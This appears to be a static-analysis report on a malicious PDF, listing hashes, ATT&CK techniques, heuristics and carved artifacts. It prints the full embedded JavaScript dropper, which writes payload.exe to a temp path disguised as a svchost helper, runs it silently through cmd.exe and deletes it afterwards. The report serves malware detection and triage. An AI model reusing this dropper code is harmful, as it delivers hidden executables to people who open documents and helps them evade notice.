Malicious PDF — malware analysis report

Static analysis result for SHA-256 de0cfe313054c045…

MALICIOUS

PDF

12.10 MB First seen: 2026-06-09
MD5: e3df27f889a1f2956979d790ce325b6a SHA-1: c65b891ebad7506f4953cc604a656a5e761e0e74 SHA-256: de0cfe313054c045e5e9cb8bc44f760847395eff27e07df87e3e149cc5ec7545
136 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1204.002 Malicious File T1105 Ingress Tool Transfer

The PDF contains embedded JavaScript that is designed to export an embedded file named 'payload.exe' to 'C:\Windows\Temp\svchost_helper.exe' and then execute it silently using cmd.exe. The script also attempts to clean up the executable after a short delay. The presence of an embedded PE payload and the JavaScript execution strongly indicate a malicious intent to deliver and run a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 6

  • Embedded Windows executable payload in PDF stream critical PDF_EMBEDDED_PE_PAYLOAD
    PDF stream bytes contain an embedded Windows executable with a verified PE header. Exploit chains often hide droppers inside ordinary streams rather than standard /EmbeddedFile attachments.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/SMI/2016/WindowsSettings In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
payload.exe pdf-embedded-file PDF EmbeddedFile object 2 at offset 0x3C3 4194304 bytes
SHA-256: adb89a0db769d6f5275c8e1b0925dbd0aa63987f2615586554323b8e6fe46b42
Detection
ClamAV: No threats found
Obfuscation or payload: likely
actual_type=PE; declared_or_context_type=PDF; filename=payload.exe; kind=pdf-embedded-file
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xF 643 bytes
SHA-256: 61415d83c3c928fb7bdd21dbc498079fb417f0d49f68826bfe1efcb4396fd1a3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
var f = this.embeddedFileNames[0];
    if (f == null) {
        app.alert("No embedded file found");
    }
    
    var dest = "C:\\Windows\\Temp\\svchost_helper.exe";
    
    // Export the embedded file to disk silently
    this.exportDataObject({cName: f, nLaunch: 0, cDIPath: dest});
    
    // Execute silently via cmd /min
    util.spawn({
        cExec: "cmd.exe",
        bSilent: true,
        cParams: '/c start /min "' + dest + '"'
    });
    
    // Optional cleanup after 5 seconds
    util.spawn({
        cExec: "cmd.exe",
        bSilent: true,
        cParams: '/c timeout /t 5 && del /f /q "' + dest + '"'
    });

Open this report in the interactive analyzer, or submit your own file for analysis.